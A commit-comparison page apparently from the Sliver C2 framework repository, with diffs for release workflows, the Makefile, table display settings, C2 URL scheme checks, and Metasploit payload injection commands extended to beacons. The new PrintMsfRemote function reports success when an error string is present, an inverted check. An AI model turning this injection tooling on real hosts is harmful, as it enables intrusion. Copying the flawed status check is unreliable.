Compare commits

...
Author SHA1 Message Date
moloch-- e71d142d86 tui ux improvements 2022-02-07 14:16:13 -06:00
moloch-- 260f4d4d75 Add extra help to alias cmds 2022-02-07 11:04:30 -06:00
moloch-- 05b663ee8a Add extra help to alias cmds 2022-02-07 11:03:02 -06:00
Joe c78a99a58f Merge pull request #587 from hypnoticpattern/master
fix: upload raise error if file isn't accessible
2022-02-07 07:27:17 -07:00
hypnoticpattern c874565177 fix: upload raise error if file isn't accessible 2022-02-06 23:28:23 -08:00
moloch-- 57d36054b2 Simplify rng initialization 2022-01-31 11:02:07 -07:00
Joe 154061e93a Merge pull request #585 from BishopFox/fix/http-c2-cfg
Implement fix for issue #584
2022-01-29 15:36:15 -06:00
moloch-- d514872d6f Implement fix for issue #584 2022-01-29 14:43:40 -06:00
moloch-- 30c46e85e7 fix comments 2022-01-29 08:31:30 -06:00
moloch-- 87e85bfa40 Verify c2 url scheme matches cmd flag 2022-01-28 17:10:08 -06:00
moloch-- f7a9040352 Fix linux install script 2022-01-28 11:27:40 -06:00
moloch-- 1756ffa2cd Updated install script to not unzip artifacts 2022-01-28 09:43:49 -06:00
moloch-- 928faad39a Fix msf/msf-remote cmds 2022-01-28 09:15:33 -06:00
moloch-- 34f28b15bc Fix windows file name 2022-01-27 11:51:35 -06:00
moloch-- 95ba042198 those arent zip files ... 2022-01-27 11:36:07 -06:00
moloch-- 80375092fe reorder unzip cmd flags 2022-01-27 11:09:58 -06:00
moloch-- 271d50d65c reorder unzip cmd flags 2022-01-27 10:31:51 -06:00
moloch-- 752efb0ed8 Add the .zip suffix because unzip is picky 2022-01-27 09:58:46 -06:00
moloch-- 657831f0c0 Extract artifacts from prior step 2022-01-27 09:23:47 -06:00
moloch-- 6382dcabc4 Extract artifacts from prior step 2022-01-27 09:07:53 -06:00
moloch-- 31efd2afb1 attempt to re-enable arm64 builds 2022-01-27 08:50:02 -06:00
Joe 1d2e76ba47 Merge pull request #578 from BishopFox/bugfix/fix-session-kill-format-string
Fix format string for session kills
2022-01-26 08:56:19 -06:00
moloch-- 9ba2d4cdfb Fix interactive command parsing https c2 urls 2022-01-24 20:21:56 -06:00
34 changed files with 463 additions and 196 deletions

No files matched your search

+40 -31
View File
@@ -3,7 +3,7 @@ name: Release
on:
push:
tags: ["v[1-9]+.[0-9]+.[0-9]+"]
branches: [master]
branches: [master, goreleaser]
jobs:
@@ -35,6 +35,8 @@ jobs:
run: ./go-assets.sh
- name: Make
env:
ARTIFACT_SUFFIX: _linux
run: export PATH=/home/runner/go/bin/:$PATH && make linux
- name: Linux Artifacts
@@ -44,7 +46,11 @@ jobs:
path: ./sliver-*
- name: Make Windows
run: export PATH=/home/runner/go/bin/:$PATH && make windows
env:
ARTIFACT_SUFFIX: _windows
run: |
make clean
export PATH=/home/runner/go/bin/:$PATH && make windows
- name: Windows Artifacts
uses: actions/upload-artifact@v2
@@ -77,10 +83,14 @@ jobs:
run: ./go-assets.sh
- name: Make AMD64
env:
ARTIFACT_SUFFIX: _macos
run: make macos
# - name: Make ARM64
# run: make macos-arm64
- name: Make ARM64
env:
ARTIFACT_SUFFIX: _macos-arm64
run: make macos-arm64
- name: MacOS Artifacts
uses: actions/upload-artifact@v2
@@ -98,10 +108,18 @@ jobs:
timeout-minutes: 45
steps:
- run: mkdir -p ./release && mkdir -p ./artifacts
- run: mkdir -p ./builds
- uses: actions/download-artifact@v2
with:
path: ./artifacts
path: ./builds
- name: Extract Artifacts
run: |
mkdir -p ./artifacts
cp ./builds/linux/* ./artifacts
cp ./builds/windows/* ./artifacts
cp ./builds/macos/* ./artifacts
- id: install-secret-key
name: GPG Key(s)
@@ -109,43 +127,34 @@ jobs:
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
gpg --list-secret-keys --keyid-format LONG
- name: Release
run: mkdir -p ./release
# Linux
- name: Linux AMD64
run: |
zip -j ./release/sliver-server_linux.zip ./artifacts/linux/sliver-server
zip -j ./release/sliver-client_linux.zip ./artifacts/linux/sliver-client
gpg --default-key 4449039C --output ./release/sliver-server_linux.zip.sig --detach-sig ./release/sliver-server_linux.zip
gpg --default-key 4449039C --output ./release/sliver-client_linux.zip.sig --detach-sig ./release/sliver-client_linux.zip
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
# Windows
- name: Windows AMD64
run: |
zip -j ./release/sliver-server_windows.zip ./artifacts/windows/sliver-server.exe
zip -j ./release/sliver-client_windows.zip ./artifacts/windows/sliver-client.exe
gpg --default-key 4449039C --output ./release/sliver-server_windows.zip.sig --detach-sig ./release/sliver-server_windows.zip
gpg --default-key 4449039C --output ./release/sliver-client_windows.zip.sig --detach-sig ./release/sliver-client_windows.zip
gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
# MacOS AMD64
- name: MacOS AMD64
run: |
zip -j ./release/sliver-server_macos.zip ./artifacts/macos/sliver-server
zip -j ./release/sliver-client_macos.zip ./artifacts/macos/sliver-client
gpg --default-key 4449039C --output ./release/sliver-server_macos.zip.sig --detach-sig ./release/sliver-server_macos.zip
gpg --default-key 4449039C --output ./release/sliver-client_macos.zip.sig --detach-sig ./release/sliver-client_macos.zip
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
# MacOS ARM64
# - name: Package MacOS ARM64
# run: |
# zip -j ./release/sliver-server_macos-arm64.zip ./artifacts/macos/sliver-server_arm64
# zip -j ./release/sliver-client_macos-arm64.zip ./artifacts/macos/sliver-client_arm64
- name: Package MacOS ARM64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
- name: "Publish Release"
uses: "marvinpinto/action-automatic-releases@latest"
with:
repo_token: "${{ secrets.GITHUB_TOKEN }}"
prerelease: false
prerelease: true
files: |
./release/*
./artifacts/*
+2
View File
@@ -40,3 +40,5 @@ sliver-server-windows.zip
.glide/
.DS_Store
dist/
+11 -11
View File
@@ -3,6 +3,7 @@
#
GO ?= go
ARTIFACT_SUFFIX ?=
ENV =
TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
@@ -99,28 +100,28 @@ endif
#
.PHONY: default
default: clean validate-go-version
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: macos
macos: clean validate-go-version
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: macos-arm64
macos-arm64: clean validate-go-version
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_arm64 ./server
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_arm64 ./client
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: linux
linux: clean validate-go-version
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: windows
windows: clean validate-go-version
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server.exe ./server
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client.exe ./client
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client
.PHONY: pb
pb:
@@ -151,5 +152,4 @@ clean-all: clean
.PHONY: clean
clean:
rm -f sliver-client_arm64 sliver-server_arm64
rm -f sliver-client sliver-server sliver-*.exe
+4
View File
@@ -33,6 +33,8 @@ type ClientSettings struct {
TableStyle string `json:"tables"`
AutoAdult bool `json:"autoadult"`
BeaconAutoResults bool `json:"beacon_autoresults"`
SmallTermWidth int `json:"small_term_width"`
AlwaysOverflow bool `json:"always_overflow"`
}
// LoadSettings - Load the client settings from disk
@@ -55,6 +57,8 @@ func defaultSettings() *ClientSettings {
TableStyle: "SliverDefault",
AutoAdult: false,
BeaconAutoResults: true,
SmallTermWidth: 170,
AlwaysOverflow: false,
}
}
+2
View File
@@ -158,6 +158,8 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
}
helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
helpMsg += "\n\n⚠️ If you're having issues passing arguments to the alias please read:\n"
helpMsg += "https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing"
addAliasCmd := &grumble.Command{
Name: aliasManifest.CommandName,
Help: helpMsg,
+6 -4
View File
@@ -88,7 +88,10 @@ var (
// public key -> armoryPkgCacheEntry
pkgCache = sync.Map{}
cacheTime = time.Hour // This will kill a download if exceeded so needs to be large
// cacheTime - How long to cache the index/pkg manifests
cacheTime = time.Hour
// This will kill a download if exceeded so needs to be large
defaultTimeout = 15 * time.Minute
)
@@ -223,8 +226,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.Bold + "Packages" + console.Normal)
minWidth := 150
if minWidth < width {
if con.Settings.SmallTermWidth < width {
tw.AppendHeader(table.Row{
"Command Name",
"Version",
@@ -279,7 +281,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
if extensions.CmdExists(pkg.CommandName, con.App) {
color = console.Green
}
if minWidth < width {
if con.Settings.SmallTermWidth < width {
rows = append(rows, table.Row{
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
+8 -8
View File
@@ -31,7 +31,7 @@ import (
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"golang.org/x/crypto/ssh/terminal"
"golang.org/x/term"
)
// BeaconsCmd - Display/interact with beacons
@@ -92,14 +92,14 @@ func PrintBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
}
func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) table.Writer {
width, _, err := terminal.GetSize(0)
width, _, err := term.GetSize(0)
if err != nil {
width = 999
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
if 182 < width {
if con.Settings.SmallTermWidth < width {
tw.AppendHeader(table.Row{
"ID",
"Name",
@@ -134,13 +134,13 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
nextCheckin := time.Unix(beacon.NextCheckin, 0)
var next string
if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
past := time.Now().Sub(nextCheckin)
past := time.Since(nextCheckin)
next = fmt.Sprintf("%s-%s%s", console.Bold+console.Red, past, console.Normal)
} else {
eta := nextCheckin.Sub(time.Now())
eta := time.Until(nextCheckin)
next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, eta, console.Normal)
}
if 182 < width {
if con.Settings.SmallTermWidth < width {
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
@@ -150,7 +150,7 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
fmt.Sprintf(color+"%s ago"+console.Normal, time.Since(time.Unix(beacon.LastCheckin, 0))),
next,
})
} else {
@@ -160,7 +160,7 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
fmt.Sprintf(color+"%s ago"+console.Normal, time.Since(time.Unix(beacon.LastCheckin, 0))),
next,
})
}
+1 -1
View File
@@ -48,7 +48,7 @@ func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if time.Now().Before(nextCheckin) {
continue
}
delta := time.Now().Sub(nextCheckin)
delta := time.Since(nextCheckin)
if pruneDuration <= delta {
pruneBeacons = append(pruneBeacons, beacon)
}
+24
View File
@@ -807,6 +807,30 @@ func BindCommands(con *console.SliverConsoleClient) {
},
HelpGroup: consts.GenericHelpGroup,
})
settingsCmd.AddCommand(&grumble.Command{
Name: "always-overflow",
Help: "Disable table pagination",
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, "always-overflow"}),
Run: func(ctx *grumble.Context) error {
con.Println()
settings.SettingsAlwaysOverflow(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
settingsCmd.AddCommand(&grumble.Command{
Name: "small-terminal",
Help: "Set the small terminal width",
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, "small-terminal"}),
Run: func(ctx *grumble.Context) error {
con.Println()
settings.SettingsSmallTerm(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(settingsCmd)
// [ Info ] --------------------------------------------------------------
+1 -1
View File
@@ -109,7 +109,7 @@ func PrintExecuteAssembly(execAssembly *sliverpb.ExecuteAssembly, hostname strin
var err error
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFilePath, err = ioutil.TempFile("", outFile)
outFilePath, _ = ioutil.TempFile("", outFile)
}
con.PrintInfof("Assembly output:\n%s", string(execAssembly.GetOutput()))
if outFilePath != nil {
+4 -4
View File
@@ -31,7 +31,7 @@ import (
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"golang.org/x/crypto/ssh/terminal"
"golang.org/x/term"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
@@ -161,9 +161,9 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
log.Printf("Bound remote program pid %d to tunnel %d", shell.Pid, shell.TunnelID)
con.PrintInfof("Started remote shell with pid %d\n\n", shell.Pid)
var oldState *terminal.State
var oldState *term.State
if !noPty {
oldState, err = terminal.MakeRaw(0)
oldState, err = term.MakeRaw(0)
log.Printf("Saving terminal state: %v", oldState)
if err != nil {
con.PrintErrorf("Failed to save terminal state\n")
@@ -195,7 +195,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
if !noPty {
log.Printf("Restoring terminal state ...")
terminal.Restore(0, oldState)
term.Restore(0, oldState)
}
log.Printf("Exit interactive")
+23 -6
View File
@@ -33,8 +33,8 @@ import (
// MsfInjectCmd - Inject a metasploit payload into a remote process
func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -49,15 +49,23 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
return
}
if pid == -1 {
con.PrintErrorf("Invalid pid '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Injecting payload %s %s/%s -> %s:%d ...",
payloadName, session.OS, session.Arch, lhost, lport)
msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
payloadName, goos, goarch, lhost, lport)
con.SpinUntil(msg, ctrl)
msfTask, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
Request: con.ActiveTarget.Request(ctx),
@@ -90,6 +98,15 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
}
// PrintMsfRemote - Print the results of the remote injection attempt
func PrintMsfRemote(msfRemote *sliverpb.Task, con *console.SliverConsoleClient) {
if msfRemote.Response == nil {
con.PrintErrorf("Empty response from msf payload injection task")
return
}
if msfRemote.Response.Err != "" {
con.PrintInfof("Executed payload on target")
} else {
con.PrintErrorf("Failed to inject payload: %s", msfRemote.Response.Err)
}
}
+29 -6
View File
@@ -25,14 +25,15 @@ import (
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// MsfCmd - Inject a metasploit payload into the current remote process
func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -46,12 +47,21 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfStr)
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Sending payload %s %s/%s -> %s:%d ...",
payloadName, session.OS, session.Arch, lhost, lport)
msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
payloadName, goos, goarch, lhost, lport)
con.SpinUntil(msg, ctrl)
_, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
msfTask, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
Request: con.ActiveTarget.Request(ctx),
Payload: payloadName,
LHost: lhost,
@@ -63,7 +73,20 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if msfTask.Response != nil && msfTask.Response.Async {
con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, msfTask)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintMsfRemote(msfTask, con)
})
con.PrintAsyncResponse(msfTask.Response)
} else {
con.PrintInfof("Executed payload on target\n")
PrintMsfRemote(msfTask, con)
}
}
+1 -1
View File
@@ -86,7 +86,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("No profile found for name %s\n", profile)
return
}
sliverBinary, err := generate.GetSliverBinary(implantProfile, con)
sliverBinary, _ := generate.GetSliverBinary(implantProfile, con)
filename := randomString(10)
filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
uploadGzip := new(encoders.Gzip).Encode(sliverBinary)
+4
View File
@@ -64,6 +64,10 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dst := remotePath
fileBuf, err := ioutil.ReadFile(src)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
uploadGzip := new(encoders.Gzip).Encode(fileBuf)
ctrl := make(chan bool)
+20 -2
View File
@@ -394,6 +394,9 @@ func ParseMTLSc2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
if uri.Scheme != "mtls" {
return nil, fmt.Errorf("invalid mtls schema: %s", uri.Scheme)
}
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultMTLSLPort)
}
@@ -415,17 +418,20 @@ func ParseWGc2(args string) ([]*clientpb.ImplantC2, error) {
arg = strings.ToLower(arg)
var uri *url.URL
var err error
if strings.HasPrefix(arg, "mtls://") {
if strings.HasPrefix(arg, "wg://") {
uri, err = url.Parse(arg)
if err != nil {
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("mtls://%s", arg))
uri, err = url.Parse(fmt.Sprintf("wg://%s", arg))
if err != nil {
return nil, err
}
}
if uri.Scheme != "wg" {
return nil, fmt.Errorf("invalid wg schema: %s", uri.Scheme)
}
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultWGLPort)
}
@@ -458,6 +464,9 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
if uri.Scheme != "http" && uri.Scheme != "https" {
return nil, fmt.Errorf("invalid http(s) scheme: %s", uri.Scheme)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
@@ -487,6 +496,9 @@ func ParseDNSc2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
if uri.Scheme != "dns" {
return nil, fmt.Errorf("invalid dns scheme: %s", uri.Scheme)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
@@ -516,6 +528,9 @@ func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
if uri.Scheme != "namedpipe" {
return nil, fmt.Errorf("invalid namedpipe scheme: %s", uri.Scheme)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
@@ -548,6 +563,9 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
if uri.Scheme != "tcppivot" {
return nil, fmt.Errorf("invalid tcppivot scheme: %s", uri.Scheme)
}
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultTCPPivotPort)
}
+2 -2
View File
@@ -71,7 +71,7 @@ var (
consts.MigrateStr: migrateHelp,
consts.SideloadStr: sideloadHelp,
consts.TerminateStr: terminateHelp,
consts.AliasesStr: loadMacrosHelp,
consts.AliasesStr: loadAliasHelp,
consts.PsExecStr: psExecHelp,
consts.BackdoorStr: backdoorHelp,
consts.SpawnDllStr: spawnDllHelp,
@@ -371,7 +371,7 @@ Parameters to the Linux and MacOS shared module are passed using the [[.Bold]]LD
screenshotHelp = `[[.Bold]]Command:[[.Normal]] screenshot
[[.Bold]]About:[[.Normal]] Take a screenshot from the remote implant.
`
loadMacrosHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path>
loadAliasHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path>
[[.Bold]]About:[[.Normal]] Load a Sliver macro to add new commands.
Macros are using the [[.Bold]]sideload[[.Normal]] or [[.Bold]]spawndll[[.Normal]] commands under the hood, depending on the use case.
For Linux and Mac OS, the [[.Bold]]sideload[[.Normal]] command will be used. On Windows, it will depend the macro file is a reflective DLL or not.
+2
View File
@@ -111,6 +111,8 @@ func InteractiveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
c2s = append(c2s, wgC2...)
case "https":
fallthrough
case "http":
httpC2, err = generate.ParseHTTPc2(beacon.ActiveC2)
if err != nil {
+56 -22
View File
@@ -31,6 +31,7 @@ import (
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"golang.org/x/term"
)
// SessionsCmd - Display/interact with sessions
@@ -110,19 +111,38 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// PrintSessions - Print the current sessions
func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverConsoleClient) {
width, _, err := term.GetSize(0)
if err != nil {
width = 999
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"Name",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Operating System",
"Last Check-in",
"Health",
})
if con.Settings.SmallTermWidth < width {
tw.AppendHeader(table.Row{
"ID",
"Name",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Operating System",
"Last Check-in",
"Health",
})
} else {
tw.AppendHeader(table.Row{
"ID",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Operating System",
"Health",
})
}
tw.SortBy([]table.SortBy{
{Name: "ID", Mode: table.Asc},
})
@@ -142,17 +162,31 @@ func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverCon
if session.Burned {
burned = "🔥"
}
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
fmt.Sprintf(color+"%s"+console.Normal, session.Name),
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, session.Username),
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
burned + SessionHealth,
})
username := strings.TrimPrefix(session.Username, session.Hostname+"\\") // For non-AD Windows users
if con.Settings.SmallTermWidth < width {
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
fmt.Sprintf(color+"%s"+console.Normal, session.Name),
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, username),
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
burned + SessionHealth,
})
} else {
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, username),
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
burned + SessionHealth,
})
}
}
con.Printf("%s\n", tw.Render())
+48
View File
@@ -19,6 +19,8 @@ package settings
*/
import (
"strconv"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
@@ -43,9 +45,55 @@ func SettingsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
tw.AppendRow(table.Row{"Tables", con.Settings.TableStyle, "Set the stylization of tables"})
tw.AppendRow(table.Row{"Auto Adult", con.Settings.AutoAdult, "Automatically accept OPSEC warnings"})
tw.AppendRow(table.Row{"Beacon Auto Results", con.Settings.BeaconAutoResults, "Automatically display beacon results when tasks complete"})
tw.AppendRow(table.Row{"Small Term Width", con.Settings.SmallTermWidth, "Omit some table columns when terminal width is less than this value"})
tw.AppendRow(table.Row{"Always Overflow", con.Settings.AlwaysOverflow, "Disable table pagination"})
con.Printf("%s\n", tw.Render())
}
// SettingsAlwaysOverflow - Toggle always overflow
func SettingsAlwaysOverflow(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if con.Settings == nil {
con.Settings, err = assets.LoadSettings()
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
